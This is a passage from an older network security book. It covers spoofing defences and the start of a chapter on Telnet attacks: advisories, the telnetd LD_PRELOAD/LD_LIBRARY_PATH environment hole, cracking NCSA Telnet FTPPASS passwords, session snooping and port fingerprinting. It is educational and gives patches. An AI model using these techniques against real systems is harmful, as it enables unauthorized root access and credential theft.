\nFIGURE 28.2. \nLAN and WAN spoofing in action. \nIn many WAN environments, networks of widely varying design are attached to a series \nof WAN servers, nodes, or devices. For each time a message is trafficked over these \nlines, a toll is generally incurred. This can be expensive, depending largely on the type \nand speed of the connection. One thing is obvious: The best arrangement is one in which \nnone of the nodes pays for the connection unless data is being trafficked across it (it \nseems wasteful to pay merely for the connection to exist). \nTo avoid needless charges, some engineers implement a form of spoofing whereby WAN \ninterfaces answer keep alive requests from remote LAN servers rather than actually \n" }, { "page_number": 527, "text": " \n \nrouting those requests within the overall WAN network. Thus, the remote LAN assumes \nit is being answered by the remote WAN, but this is not actually true. \n \nCross Reference: Jeffery Fritz, a telecommunications engineer for West Virginia \nUniversity, wrote a consuming article about this type of technique to save money in Wide \nArea Network environments. That article, titled \"Network Spoofing: Is Your WAN on \nthe Wane? LAN Spoofing May Help Solve Some of Your Woes,\" can be viewed online \nat http://www.byte.com/art/9412/sec13/art4.htm. Fritz also wrote the \nbook Sensible ISDN Data Applications, published by West Virginia University Press. \nThis book is a must read for ISDN users. \n \nThis is a very popular technique and is now incorporated into many routers and routing \nsoftware. One good example is Lightning's MultiCom Software Release 2.0. White paper \ndocumentation on it explains: \nThe Novell SPX/IPX router contains an advanced spoofing algorithm, which keeps the ISDN line \nclosed when no useful data transits, even while remote users are connected to a server. Spoofing \nconsists [sic] to simulate the traffic, so that the server and the remote client both have the \nimpression of being connected without ISDN channels open. \n \nCross Reference: The white paper on Lightning's MultiCom Software Release 2.0 can \nbe found online at \nhttp://www.lightning.ch/products/software/ipx/details.html. \n \nThere are other router products that perform this function. One is the Ethernet Router IN-\n3010/15. \n \nCross Reference: For further information about the Ethernet Router IN-3010/15, visit \nhttp://www.craycom.co.uk/prodinfo/inetwork/fsin301x.htm. \n \nWhat Can Be Done to Prevent IP Spoofing Attacks? \nIP spoofing attacks can be thwarted by configuring your network to reject packets from \nthe Net that claim to originate from a local address (that is, reject packets that purport to \nhave an address of a workstation on your internal network). This is most commonly done \nwith a router. \nRouters work by applying filters on incoming packets; for example, they can block \nparticular types of packets from reaching your network. Several companies specialize in \nthese devices: \n• \nProteon (http://www.proteon.com/) \n• \nCisco Systems (http://www.cisco.com/) \n• \nAlantec (http://www.alantec.com/) \n• \nLivingston (http://www.livingston.com/) \n• \nCayman Systems (http://www.cayman.com/) \n" }, { "page_number": 528, "text": " \n \n• \nTelebit (http://www.telebit.com/) \n• \nACC (http://www.acc.com/) \n• \nBaynetworks-Wellfleet (http://www.baynetworks.com/) \n \nNOTE: Although routers are a solution to the general spoofing problem, they too operate \nby examining the source address. Thus, they can only protect against incoming packets \nthat purport to originate from within your internal network. If your network (for some \ninexplicable reason) trusts foreign hosts, routers will not protect against a spoofing attack \nthat purports to originate from those hosts. \n \nCertain security products can also test for your vulnerability to IP spoofing. Internet \nSecurity Systems (ISS), located online at http://iss.net, is a company that offers such \nproducts. In fact, ISS offers a trial version that can be used on a single local host. These \ntools are quite advanced. \n \nCAUTION: If you are running a firewall, this does not automatically protect you from \nspoofing attacks. If you allow internal addresses to access through the outside portion of \nthe firewall, you are vulnerable! \n \nAt least one authoritative source suggests that prevention can also be realized through \nmonitoring your network. This starts with identifying packets that purport to originate \nwithin your network, but attempt to gain entrance at the firewall or first network interface \nthat they encounter on your wire: \nThere are several classes of packets that you could watch for. The most basic is any TCP packet \nwhere the network portion (Class A, B, or C or a prefix and length as specified by the Classless \nInter-Domain Routing (CIDR) specification) of the source and destination addresses are the same \nbut neither are from your local network. These packets would not normally go outside the source \nnetwork unless there is a routing problem, worthy of additional investigation, or the packets \nactually originated outside your network. The latter may occur with Mobile IP testing, but an \nattacker spoofing the source address is a more likely cause. \n \nCross Reference: The previous paragraph is excerpted from Defense Information \nSystem Network Security Bulletin #95-29. This bulletin can be found online at \nftp://nic.ddn.mil/scc/sec-9532.txt. \n \nOther Strange and Offbeat Spoofing Attacks \nOther forms of spoofing, such as DNS spoofing, exist. DNS spoofing occurs when a DNS \nmachine has been compromised by a cracker. The likelihood of this happening is slim, \nbut if it happens, widespread exposure could result. The rarity of these attacks should not \nbe taken as a comforting indicator. Earlier in this chapter, I cited a DDN advisory that \ndocumented a rash of widespread attacks against DNS machines. Moreover, an important \nCIAC advisory addresses this issue: \nAlthough you might be willing to accept the risks associated with using these services for now, \nyou need to consider the impact that spoofed DNS information may have...It is possible for \nintruders to spoof BIND into providing incorrect name data. Some systems and programs depend \non this information for authentication, so it is possible to spoof those systems and gain \nunauthorized access. \n" }, { "page_number": 529, "text": " \n \n \nCross Reference: The previous paragraph is excerpted from the CIAC advisory titled \n\"Domain Name Service Vulnerabilities.\" It can be found online at \nhttp://ciac.llnl.gov/ciac/bulletins/g-14.shtml. \n \nDNS spoofing is fairly difficult to accomplish, even if a cracker has compromised a DNS \nserver. One reason is that the cracker may not be able to accurately guess what address \nDNS client users are going to request. Arguably, the cracker could assume a popular \naddress that is likely to appear (www.altavista.digital.com, for example) or he could \nsimply replace all address translations with the arbitrary address of his choice. However, \nthis technique would be uncovered very quickly. \nCould a cracker implement such an attack wholesale, by replacing all translations with \nhis own address and still get away with it? Could he, for example, pull from the victim's \nenvironment the address that the user really wanted? If so, what would prevent a cracker \nfrom intercepting every outgoing transmission, temporarily routing it to his machine, and \nrouting it to the legitimate destination later? Is it possible via DNS spoofing to splice \nyourself into all connections without being discovered? Probably not for more than \nseveral minutes, but how many minutes are enough? \nIn any event, in DNS spoofing, the cracker compromises the DNS server and explicitly \nalters the hostname-IP address tables. These changes are written into the translation table \ndatabases on the DNS server. Thus, when a client requests a lookup, he or she is given a \nbogus address; this address would be the IP address of a machine completely under the \ncracker's control. \nYou may be wondering why DNS attacks exist. After all, if a cracker has already \ncompromised the name server on a network, what more can be gained by directing DNS \nqueries to the cracker's own machine? The answer lies primarily in degrees of \ncompromise. Compromising the name server of a network does not equal compromising \nthe entire network. However, one can use the system to compromise the entire network, \ndepending on how talented the cracker is and how lax security is on the target network. \nFor example, is it possible to convince a client that the cracker's machine is really the \nclient's local mail server? \nOne interesting document that addresses a possible new technique of DNS spoofing is \n\"Java Security: From HotJava to Netscape and Beyond,\" by Drew Dean, Edward W. \nFelten, and Dan S. Wallach. The paper discusses a technique where a Java applet makes \nrepeated calls to the attacker's machine, which is in effect a cracked DNS server. In this \nway, it is ultimately possible to redirect DNS lookups from the default name server to a \nremote untrusted one. From there, the attacker might conceivably compromise the client \nmachine or network. \n \nCross Reference: \"Java Security: From HotJava to Netscape and Beyond\" is located \nonline at http://www.cs.princeton.edu/sip/pub/oakland-paper-\n96.pdf. \n \n" }, { "page_number": 530, "text": " \n \nDNS spoofing is fairly easy to detect, however. If you suspect one of the DNS servers, \npoll the other authoritative DNS servers on the network. Unless the originally affected \nserver has been compromised for some time, evidence will immediately surface that it \nhas been cracked. Other authoritative servers will report results that vary from those \ngiven by the cracked DNS server. \nPolling may not be sufficient if the originally cracked server has been compromised for \nan extended period. Bogus address-hostname tables may have been passed to other DNS \nservers on the network. If you are noticing abnormalities in name resolution, you may \nwant to employ a script utility called DOC (domain obscenity control). As articulated in \nthe utility's documentation: \nDOC (domain obscenity control) is a program which diagnoses misbehaving domains by sending \nqueries off to the appropriate domain name servers and performing a series of analyses on the \noutput of these queries. \n \nCross Reference: DOC is available online at \nftp://coast.cs.purdue.edu/pub/tools/unix/doc.2.0.tar.Z. Other \ntechniques to defeat DNS spoofing attacks include the use of reverse DNS schemes. \nUnder these schemes, sometimes referred to as tests of your forwards, the service \nattempts to reconcile the forward lookup with the reverse. This technique may have \nlimited value, though. With all likelihood, the cracker has altered both the forward and \nreverse tables. \n \nSummary \nSpoofing is popular now. What remains is for the technique to become standardized. \nEventually, this will happen. You can expect point-and-click spoofing programs to hit the \ncircuit within a year or so. \nIf you now have or are planning to establish a permanent connection to the Internet, \ndiscuss methods of preventing purportedly internal addresses from entering your network \nfrom the void with your router provider (or your chief network engineer). I say this for \none reason: Spoofing attacks will become the rage very soon. \n" }, { "page_number": 531, "text": " \n \n29 \nTelnet-Based Attacks \nThis chapter examines attacks developed over the years using the Telnet service. That \nexamination begins with a bit of history. The Telnet protocol was first comprehensively \ndefined by Postel in 1980. In RFC 764, Postel wrote: \nThe purpose of the Telnet protocol is to provide a fairly general, bi-directional, eight-bit byte \noriented communications facility. Its primary goal is to allow a standard method of interfacing \nterminal devices and terminal-oriented processes to each other. It is envisioned that the protocol \nmay also be used for terminal-terminal communication (\"linking\") and process-process \ncommunication (distributed computation). \n \nCross Reference: RFC 764 can be found on the Web at \nhttp://sunsite.auc.dk/RFC/rfc/rfc764.html. \n \nTelnet \nAs I mentioned in Chapter 6, \"A Brief Primer on TCP/IP,\" Telnet is unique in its design \nwith the notable exception of rlogin. Telnet is designed to allow a user to log in to a \nforeign machine and execute commands there. Telnet (like rlogin) works as though you \nare at the console of the remote machine, as if you physically approached the remote \nmachine, turned it on, and began working. \n \nNOTE: PC users can get a feel for this by thinking in terms of PCAnywhere or CloseUp. \nThese programs allow you to remotely log in to another PC and execute commands at the \nremote machine's C: prompt (or even execute commands in Windows, providing you \nhave a very high-speed connection to transmit those graphics over the wire). \n \nVirtual Terminal \nThe magic behind Telnet is that it imitates an ASCII terminal connection between two \nmachines located great distances from each other. This is accomplished through the use \nof a virtual terminal, as described by Postel in this excerpt from RFC 854: \nWhen a Telnet connection is first established, each end is assumed to originate and terminate at a \n\"Network Virtual Terminal,\" or NVT. An NVT is an imaginary device which provides a standard, \nnetwork-wide, intermediate representation of a canonical terminal...The Network Virtual Terminal \n(NVT) is a bi-directional character device. The NVT has a printer and a keyboard. The printer \nresponds to incoming data and the keyboard produces outgoing data which is sent over the Telnet \nconnection and, if \"echoes\" are desired, to the NVT's printer as well. \"Echoes\" will not be \nexpected to traverse the network (although options exist to enable a \"remote\" echoing mode of \noperation, no host is required to implement this option). The code set is seven-bit USASCII in an \neight-bit field, except as modified herein. Any code conversion and timing considerations are local \nproblems and do not affect the NVT. \n \nCross Reference: Read RFC 854 in its entirety at \nhttp://sunsite.auc.dk/RFC/rfc/rfc854.html. \n" }, { "page_number": 532, "text": " \n \n \nA virtual terminal is the equivalent (at least in appearance) of a hard-wired serial \nconnection between the two machines. For example, you can simulate something very \nsimilar to a Telnet session by uncommenting the respawn instructions in the inittab file \non a Linux box (and most other UNIX boxes) or by disconnecting both the monitor and \nkeyboard on a SPARC and plugging a VT200 terminal into serial A or B. In the first \ninstance, a login: prompt is issued. In the second, all boot process messages are echoed \nto the connected terminal and eventually, a boot prompt is issued (or perhaps, if the right \nSCSI disk drive is specified as the boot device in the PROM, the machine will boot and \nissue a login: prompt). \nTherefore, Telnet-based connections are what are called bare bones connections. You \nwill notice that if you use a VT220 terminal as a head for your SPARC that, when the \nboot occurs, the cool Sun logo is not printed in color, nor do the cool graphics associated \nwith it appear. Telnet and terminal sessions are completely text based. In addition, Telnet \nconnections do not have facilities to interpret display-oriented languages such as HTML \nwithout the assistance of a text-based browser such as Lynx. Therefore, retrieving a Web \npage through Telnet will reveal no pictures or nicely formatted text; it will reveal only the \nsource of the document (unless, of course, you have logged in via Telnet and are now \nusing Lynx). \n \nNOTE: Lynx is a completely terminal-based HTML browser for use with shell-account \nor even DOS-based TCP/IP connections. It is a no-frills way to access the World Wide \nWeb. \n \nTelnet Security History \nTelnet has cropped up in security advisories many times. Telnet security problems vary \nconsiderably, with a large number of vulnerabilities surfacing due to programming errors. \nHowever, programming errors are not the only reasons Telnet has appeared on advisories. \nIn August of 1989, for example, the problem was a trojan, as the CERT advisory \"Telnet \nBreak-in Warning\" explains: \nMany computers connected to the Internet have recently experienced unauthorized system activity. \nInvestigation shows that the activity has occurred for several months and is spreading. Several \nUNIX computers have had their \"Telnet\" programs illicitly replaced with versions of \"Telnet\" \nwhich log outgoing login sessions (including user names and passwords to remote systems). It \nappears that access has been gained to many of the machines which have appeared in some of \nthese session logs. \n \nCross Reference: To view this CERT advisory in its entirety, visit \nftp://ftp.uwsg.indiana.edu/pub/security/cert/cert_advisories\n/CA-89:03.telnet.breakin.warning. \n \nThat attack occurred just prior to the establishment of the DDN Security Coordination \nCenter (September 1989), so there is little documentation about whether it affected \ngovernment computers. Also, although the efforts of CERT are appreciated and vital to \nInternet security, DDN advisories sometimes contain a more technical analysis of the \nproblem at hand. \n" }, { "page_number": 533, "text": " \n \nIn March, 1991, the telnetd daemon on certain Sun distributions was found to be flawed. \nAs the CERT advisory \"SunOS in.telnetd Vulnerability\" notes: \nThe Computer Emergency Response Team/Coordination Center (CERT/CC) has obtained \ninformation from Sun Microsystems, Inc. regarding a vulnerability affecting SunOS 4.1 and 4.1.1 \nversions of in.telnetd on all Sun 3 and Sun 4 architectures. This vulnerability also affects SunOS \n4.0.3 versions of both in.telnetd and in.rlogind on all Sun3 and Sun 4 architectures. To our \nknowledge, a vulnerability does not exist in the SunOS 4.1 and 4.1.1 versions of in.rlogind. The \nvulnerability has been fixed by Sun Microsystems, Inc. \n \nCross Reference: To view this CERT advisory in its entirety, visit \nftp://info.cert.org/pub/cert_advisories/CA-\n91%3A02a.SunOS.telnetd.vulnerability. \n \n \nTIP: If you buy an old Sun 3/60 over the Net, you will want to get the patches, which are \nincluded in the previous advisory. \n \nMonths later, it was determined that a specialized LAT/Telnet application developed by \nDigital Corporation was flawed. As the CERT advisory \"ULTRIX LAT/Telnet Gateway \nVulnerability\" explains: \nA vulnerability exists such that ULTRIX 4.1 and 4.2 systems running the LAT/Telnet gateway \nsoftware can allow unauthorized privileged access...Anyone who can access a terminal or modem \nconnected to the LAT server running the LAT/Telnet service can gain unauthorized root \nprivileges. \n \nCross Reference: To view this CERT advisory in its entirety, visit \nftp://info.cert.org/pub/cert_advisories/CA-\n91%3A11.Ultrix.LAT-Telnet.gateway.vulnerability. \n \nThe first Telnet problem that rocked the average man on the street was related to a \ndistribution of the NCSA Telnet client for PC and Macintosh machines. So that there is \nno misunderstanding here, this was a client Telnet application that included an FTP \nserver within it. The hole was fostered primarily from users' poor understanding of how \nthe application worked. As articulated by the folks at DDN: \nThe default configuration of NCSA Telnet for both the Macintosh and the PC has a serious \nvulnerability in its implementation of an FTP server...Any Internet user can connect via FTP to a \nPC or Macintosh running the default configuration of NCSA Telnet and gain unauthorized read \nand write access to any of its files, including system files. \nThe problem was related to a configuration option file in which one could enable or \ndisable the FTP server. Most users assumed that if the statement enabling the server was \nnot present, the server would not work. This was erroneous. By omitting the line (or \nadding the line option ftp=yes), one allowed unauthorized individuals read and write \naccess to the files on your hard drive. \nI hope this will settle the argument regarding whether a PC user could be attacked from \nthe outside. So many discussions on Usenet become heated over this issue. The NCSA \nTelnet mishap was only one of many situations in which a PC or Mac user could be \nattacked from the void. So depending on the circumstances, the average user at home on \n" }, { "page_number": 534, "text": " \n \nhis or her PC can be the victim of an attack from the outside. People may be able to read \nyour files, delete them, and so forth. \nWhat is more interesting is that even today, those using the NCSA Telnet application are \nat some risk, even if they only allow access to the FTP server by so-called authorized \nindividuals. If a cracker manages to obtain from the target a valid username and password \n(and the cracker is therefore an authorized user), the cracker may then obtain the file \nFTPPASS. This is an authentication file where the usernames and passwords of users are \nstored. The encrypted passwords in this file are easily cracked. \nThe username in this file is not stored in encrypted form (in reality, few programs encrypt \nusernames). The password is encrypted, but the encryption scheme is very poorly \nimplemented. For example, if the password is fewer than six characters, it will take only \nseconds to crack. In fact, it is so trivial to crack such passwords that one can do so with a \n14-line BASIC program. \n \nCross Reference: The BASIC program that cracks passwords can be found at \nhttp://www.musa.it/gorgo/txt/NCSATelnetHack.txt. \n \nIf you are a Mac or PC user currently using NCSA Telnet (with the FTP server), disallow \nall FTP access to anyone you do not trust. If you fail to heed this warning, you may get \ncracked. Imagine a scenario where a single individual on a network was using NCSA \nTelnet. Even if the rest of the network was reasonably secure, this would blow its security \nto pieces. Moreover, the application does not perform logging (in the normal sense) and \ntherefore, no trail is left behind. Any network running this application can be attacked, \ndisabled, or destroyed, and no one will be able to identify the intruder. \nThe most interesting Telnet hole ever discovered, though, was related to the environment \nvariable passing option. The DDN bulletin on it was posted on November 20, 1995: \nA vulnerability exists in some versions of the Telnet daemon that support RFC 1408 or 1572, both \ntitled the \"Telnet Environment Option,\" running on systems that also support shared object \nlibraries...Local and remote users with and without local accounts can obtain root access on the \ntargeted system. \nMany sites suffer from this vulnerability. To understand the problem, you must \nunderstand the term environment. In UNIX vernacular, this generally refers to the \nenvironment of the shell (that is, what shell you might use as a default, what terminal \nemulation you are using, and so forth). \n \nNOTE: DOS/Windows users can most easily understand this by thinking about some of \nthe statements in their AUTOEXEC.BAT and CONFIG.SYS files. For example, variables \nare established using the SET command, as in SET PATH=C:\\;C:\\WINDOWS; (the \nPATH environment variable is one of several that can be specified in the DOS \nenvironment). These statements define what your programming environment will be like \nwhen you boot into command mode. Some common environment variables that can be \nset this way are the shell you are using, the path, the time zone, and so forth. \n \nChanging the Environment \n" }, { "page_number": 535, "text": " \n \nIn UNIX, you can view or change the environment by using either the setenv or \nprintenv command. Here is an example of what one might see on such an instruction: \n> setenv \n \nignoreeof=10 \nHOSTNAME=samshacker.samshack.net \nLOGNAME=tr \nMINICOM=-c on \nMAIL=/spool/mail/samshack \nTERM=ansi \nHOSTTYPE=i386-linux \nPATH=/usr/local/bin:/bin:/usr/bin:.:/sbin:/usr/sbin:. \nHOME=/usr/local/etc/web-clients/samshacker/./ \nSHELL=/bin/bash \nLS_OPTIONS=--8bit --color=tty -F -T 0 \nPS1=\\h:\\w\\$ \nPS2=> \nTAPE=/dev/nftape \nMANPATH=/usr/local/man:/usr/man/preformat:/usr/man:/usr/X11/man:/usr/ope\nnwin/man \nLESS=-MM \nOSTYPE=Linux \nOPENWINHOME=/usr/openwin \nSHLVL=2 \nBASH=/bin/bash \nLS_COLORS= \n_=/bin/csh \nPWD=/usr/local/etc/web-clients/samshacker/./ \nUSER=tr \nHOST=samshack \nThis listing is a very extensive output of the command on a machine on which a virtual \ndomain has been established. A more manageable (and more easily explained) version \ncan be taken from a bare shell machine. Here is the output: \nsamshacker% /usr/ucb/printenv \nHOME=/home/hacker \nHZ=100 \nLOGNAME=hacker \nMAIL=/var/mail/hacker \nPATH=/usr/bin: \nSHELL=/sbin/sh \nTERM=ansi \nTZ=US/Pacific \nPWD=/home/hacker \nUSER=hacker \nThis output is from a SPARCstation 10 on which I set up a mock shell account (the first \noutput was from a Linux box). This is a very stripped-down environment. The PATH \nstatement (line 6) points only to /usr/bin. In practice, this is impractical because there \nare many more binaries on a UNIX system than those located in /usr/bin. For example, \nthere are binaries located in /usr/sbin, /usr/bin/X11, and so forth. You can see, for \nexample, that even the command given (setenv) was done by issuing the absolute path \nstatement (/usr/ucb/setenv). In practice, I would have (within a day or so) set a much \nlonger path, pointing to man pages, binaries, and perhaps even include directories. \n" }, { "page_number": 536, "text": " \n \n \nNOTE: The PATH statement in UNIX works almost exactly as it does in DOS. \nDirectories that you intend to be in the path must be articulated on the PATH statement \nline and separated by colons (instead of semicolons). By articulating these on the PATH \nline, you give the user access to commands within these directories (no matter which \ndirectory the user is currently located in). \n \nTerminal Emulation \nOther variables set in the preceding statements include HOME, MAIL, SHELL, and TERM. \nTERM, one of the most important variables, expresses the type of terminal emulation that \nyou will be using. Because not all readers know what terminal emulation is, I want to \nquickly explain it. \nYears ago, the majority of servers were mainframes. In those days, users did not have \npowerful PCs attached to the mainframe; they had terminals, which were (usually) boxes \nwithout hard drives. These were screens attached to keyboards. Behind terminals were a \nseries of connectors, which might offer different methods of connection. One popular \nmethod was a bare-bones serial connection (we're talking primitive here: a straight serial-\nto-serial interface). Other terminals might sport hardwire options such as Ethernet \nconnections. \nIn any event, these terminals had very little functionality (at least in comparison to the \naverage PC). Contained on the main board of such a terminal was a small portion of \nmemory and firmware (software hardwired into the board itself). This firmware would \ngrant the user several options. For example, one could set the speed and type of \nconnection, the need for local echo, and so forth. Sometimes, there were options to set the \ntype of printer that might be used or even what port the data was to be sent from. \n \nTIP: Such terminals are still sold on certain Usenet newsgroups. If you are a student with \nlimited funds and you have been granted some form of Ethernet or even serial connection \nto your college's server, and if that server account is a shell account, get a terminal. For a \nmere $25-40, you can get high-speed access to the Internet. True, you cannot generally \nsave materials to a disk, but you can print what is currently on the screen. You will not \nbelieve how quickly the screen will update. It is the absolutely ideal situation for Internet \nRelay Chat (IRC). These boxes are small, cheap, and fast. \n \nThe two best-known terminals were the Tektronix 4010 and the VT100 (also the IBM \n3270, which is a bit different). Each had a set number of characters per line and lines per \nscreen that could be displayed. In fact, most terminals usually had two settings. As \nterminals became more fancy, one could even set columns and, eventually, graphics (the \nTektronix was graphics oriented). \nBecause these terminals became the standard method of connecting to mainframes, they \nalso bled into the UNIX world. As such, all UNIX operating systems have keyboard and \nscreen mappings for terminals. Mappings are descriptions of the screen and the keyboard \nsettings (for example, how many lines and columns per screen or, more importantly, what \nCtrl key sequences represent special characters). These are required because certain \nterminals use more keys than are offered on the standard PC or Mac keyboard. In \n" }, { "page_number": 537, "text": " \n \naddition to the regular typewriter keyboard and F function keys, there may be P keys that \nperform special actions, including the activation of menus and the navigation of the \nscreen cursor in databases. To make up for this on PC, Mac, or even some UNIX \nkeyboards, Esc or Ctrl sequences are defined. These are combinations of keystrokes that \nequal a P key. These key assignments are called key bindings, which are statements made \nwithin the program code that define what happens if this or that key combination is \nexecuted. Key bindings are a big part of programming, especially in C where you offer a \nsemi-graphical interface (for example, where you use Borland's famous TurboVision \nlibraries to create drop-down menus in a DOS application). \nOne can generally define key bindings in a program (at least, in a well written one). This \ngives the user application-level control over which keys do what. For example, perhaps \nthe user can set the binding of the Ctrl key plus the letter F to perform a variety of \nfunctions. Some specialized applications actually ask the user to do so before launching \nthe program for the first time. There is one such program--a freeware editor for UNIX, \nwritten in Germany--that allows you to completely remap the keyboard. \nIn UNIX, terminal mappings are generally stored in a file called termcap. The termcap \nlibrary, reportedly introduced with Berkeley UNIX, is a very important addition to the \nsystem. Without it, many machines would not communicate well with each other. For \nexample, if you perform a fresh install of a Linux operating system and do nothing to \nalter the TERM variable, it will be set to Linux. If you then Telnet to a SPARCstation (or \nother machine that also has its default TERM configuration), you will be unable to clear the \nscreen with the well-known command clear. This is because the two terminal emulation \nsettings are incompatible. Furthermore, if you try to execute a program such as PINE--\nwhich relies on compatible terminal types--the program will exit on error, reporting that \nthe terminal is not supported. (SysV systems traditionally use terminfo as opposed to \ntermcap.) \n \nCAUTION: Many distributions of UNIX have complete termcap listings, which \nsometimes contain hundreds of terminal emulations. If you are new to UNIX and are \ntoying with the idea of altering your termcap entries, be extremely careful. You may end \nup with bizarre results. In some cases, what once looked like nicely formatted text may \nappear as strange, disjointed, scattered blocks of words that are largely illegible. Study \nthe man page before fiddling with your termcap file. \n \nMany different environmental variables can be set. These variables can strongly influence \nhow a remote machine will receive, process, and support your remote Telnet connection. \nThus, the Telnet protocol was designed to allow the passing of certain environment \nvariables at the time of the connection. As explained in RFC 1408: \nMany operating systems have startup information and environment variables that contain \ninformation that should be propagated to remote machines when Telnet connections are \nestablished. Rather than create a new Telnet option each time someone comes up with some new \ninformation that they need propagated through a Telnet session, but that the Telnet session itself \ndoesn't really need to know about, this generic information option can be used. \n \nCross Reference: To view RFC 1408 in its entirety, visit \nhttp://sunsite.auc.dk/RFC/rfc/rfc1408.html. \n" }, { "page_number": 538, "text": " \n \n \nThe recent Telnet security hole was based on the capability of a Telnet server to receive, \nrespond to, and authorize the passing of these environment variables. Because this option \nwas so prominent in the UNIX system, an incredible number of platforms were \nvulnerable to this attack. \nThis vulnerability is more common than one would expect. In a rather engrossing report, \none firm, Novatech, posted the results of an actual security audit of a network with 13 \nhosts. In it, the Telnet vulnerability appears, as do 138 other holes. The most \nextraordinary thing is that the site had already been assessed as having a clean bill of \nhealth, complete with a firewall. As Novatech's sample audit report notes: \nThis is a copy of a actual attack report with definitions and possible rectifications of actual \nproblems found. The network had a state of the art firewall installed and had been checked by \nCERT. As you can see there were many small problems and a number of larger ones as well. This \nwas not the fault of the systems administration but of a mix that systems change and need constant \nattention and the lack of knowledge of how intruders gain access (a specialist field). We are able \nto check your system for nearly 390 different forms of access vulnerability all of which are \nInternet only type access. \n \nCross Reference: For those who have a \"let's wait and see\" attitude about security, I \nsuggest that you go immediately to this site and view the results. They are astonishing. \nSee the results of the audit at http://www.novatech.net.au/sample.htm. \n \nThe line that reveals the Telnet environment option vulnerability reads as follows: \nDynamic Linker Telnet Vulnerability [High Risk]2 \nThis line reports that a Telnet vulnerability in the high risk category was found (in the \naudit cited previously, this vulnerability was found on two hosts within the same subnet). \n[High Risk]2 refers to the level of risk the hole represents. This is an extremely high \nrisk vulnerability. Remember, this was found on a host with a state-of-the-art firewall! \nTo understand the method, you must understand precisely what options can be passed \nfrom the client to the server. One of these involves the passing of a custom libc. \n \nNOTE: libc is the standard C library. A full distribution of libc commonly contains \nheader and include files for use in C programming. All UNIX flavors have (or should \nhave) this library installed. It is a requisite for compiling programs written in the C \nprogramming language. \n \nAs Sam Hartman of MIT notes in his article \"Telnet Vulnerability: Shared Libraries\": \nThe problem is that telnetd will allow the client to pass LD_LIBRARY_PATH, LD_PRELOAD, \nand other run-time linker options into the process environment of the process that runs login. \n \nCross Reference: Find Hartman's article on the Web at http://geek-\ngirl.com/bugtraq/1995_4/0032.html. \n \nBy passing the LD_LIBRARY_PATH environment option to the server, the cracker can add \nto this search path a custom directory (and therefore a custom library). This can alter the \ndynamic linking process, greatly increasing the chances of a root compromise. \n" }, { "page_number": 539, "text": " \n \n \nNOTE: Hartman noted that if the target was using a Kerberos-aware telnetd, only users \nwith a valid account on the remote box could actually implement the attack. My guess, \nhowever, is that the larger majority of machines out there are not using such a means of \nsecure Telnet. \n \nOne interesting note about this hole: It was determined that one could identify Telnet \nsessions in which the environment variables had been passed by executing a ps \ninstruction. However, one individual (Larry Doolittle) determined that on certain flavors \nof UNIX (Linux, specifically), one has to be root to ID those processes. In response to the \nHartman report, Doolittle advised: \nRecent Linux kernels do not allow access to environment strings via ps, except for the user \nhim/herself. That is, /proc/*/environ is protected 400. This could confuse people reading your \ninstructions, since they would see environments for their own process but not root's. To verify \nenvironment strings of login, you need to run ps as root. \n \nCross Reference: Find Larry Doolittle's article on the Web at http://geek-\ngirl.com/bugtraq/1995_4/0042.html. \n \nHere are patches for various distributions of telnetd: \n• \nDEC. (OSF/1): \nftp://ftp.service.digital.com/public/osf/v3.2c/ssrt0367_c032 \n• \nA compressed version is available at \nftp://ftp.ox.ac.uk/pub/comp/security/software/patches/telnetd/ \n• \nLinux: \nftp://ftp.ox.ac.uk/pub/comp/security/software/patches/telnetd/linu\nx/telnetd \n• \nRed Hat: \nhttp://www.io.com/~ftp/mirror/linux/redhat/redhat/updates/i386/Net\nKit-B-0.09-1.1.i386.rpm \n• \nSGI (IRIX): \nftp://sgigate.sgi.com/security/ \n \nNOTE: Although patches have been issued for this problem, some other Telnet-related \nmodules and programs may still be affected. As late as February, 1997, \nin.telnetsnoopd was reported as vulnerable to the LD_PRELOAD passing on some \nplatforms, including Linux. There is reportedly a patch for this problem, and it has been \nuploaded to ftp://sunsite.unc.edu. \n \nGarden-variety Telnet is not a particularly secure protocol. One can easily eavesdrop on \nTelnet sessions. In fact, there is a utility, called ttysnoop, designed for this purpose. As \ndescribe by its author, Carl Declerck: \n[ttynsoop] allows you to snoop on login tty's through another tty-device or pseudo-tty. The snoop-\ntty becomes a \"clone\" of the original tty, redirecting both input and output from/to it. \n \n" }, { "page_number": 540, "text": " \n \nCross Reference: Declerck's README for ttysnoop 0.12 (alpha) can be found on the \nWeb at \nhttp://ion.apana.org.au/pub/linux/sources/admin/ttysnoop-\n0.12.README \n \n \nNOTE: ttysnoop is not simply a Telnet-specific snooper; it snoops on the tty, not the \nTelnet protocol. A network sniffer like sniffit can also be used (and is probably more \nsuitable) to sniff the Telnet protocol. \n \nTelnet sessions are also especially sensitive. One reason for this is that these sessions are \noften conducted in an island-hopping pattern. That is, the user may Telnet to one network \nto tidy his or her Web page; from there, the user may Telnet to another machine, and \nanother machine, and so on. If a cracker can snoop on such a session, he or she can obtain \nlogin IDs and passwords to other systems. \nAren't These Attacks No Longer Effective? \nNo; this is due primarily to a lack of education. The environment option attack described \npreviously is quite effective on many systems in the void. This is so even though \nadvisories about the attack are readily available on the Internet. \nTelnet as a Weapon \nTelnet is an interesting protocol. As explained earlier, one can learn many things using \nTelnet. For example, you can cull what version of the operating system is being run. Most \ndistributions of UNIX will report this information on connection. It is reported by at least \none authoritative source that various scanners use the issue information at connect to \nidentify the type of system (SATAN being one such scanner). The operating system can \ngenerally be determined by attacking any of these ports: \n• \nPort 21: FTP \n• \nPort 23: Telnet (Default) \n• \nPort 25: Mail \n• \nPort 70: Gopher \n• \nPort 80: HTTP \n \nNOTE: Although I have only listed five ports, one can connect to the majority of TCP/IP \nports by initiating a Telnet session. Some of these ports will remain in an entirely passive \nstate while the connection is active, and the user will see nothing happen in particular. \nThis is so with port 80 (HTTP), for example. However, you can issue perfectly valid \nrequests to port 80 using Telnet and if those requests are valid, port 80 will respond. (The \nrequest needn't necessarily be valid. Issuing an erroneous GET instruction will elicit a \nlively response from the Web server if the request is sufficiently malformed.) \n \n" }, { "page_number": 541, "text": " \n \nIn their now-famous paper, \"Improving the Security of Your Site by Breaking Into It,\" \nDan Farmer and Wietse Venema point out ports that can be attacked. Specifically, they \naddress the issue of port 6000: \nX windows is usually on port 6000...If not protected properly (via the magic cookie or xhost \nmechanisms), window displays can be captured or watched, user keystrokes may be stolen, \nprograms executed remotely, etc. Also, if the target is running X and accepts a Telnet to port 6000, \nthat can be used for a denial of service attack, as the target's windowing system will often \"freeze \nup\" for a short period of time. \n \nCross Reference: \"Improving the Security of Your Site by Breaking Into It\" can be \nfound on the Web at 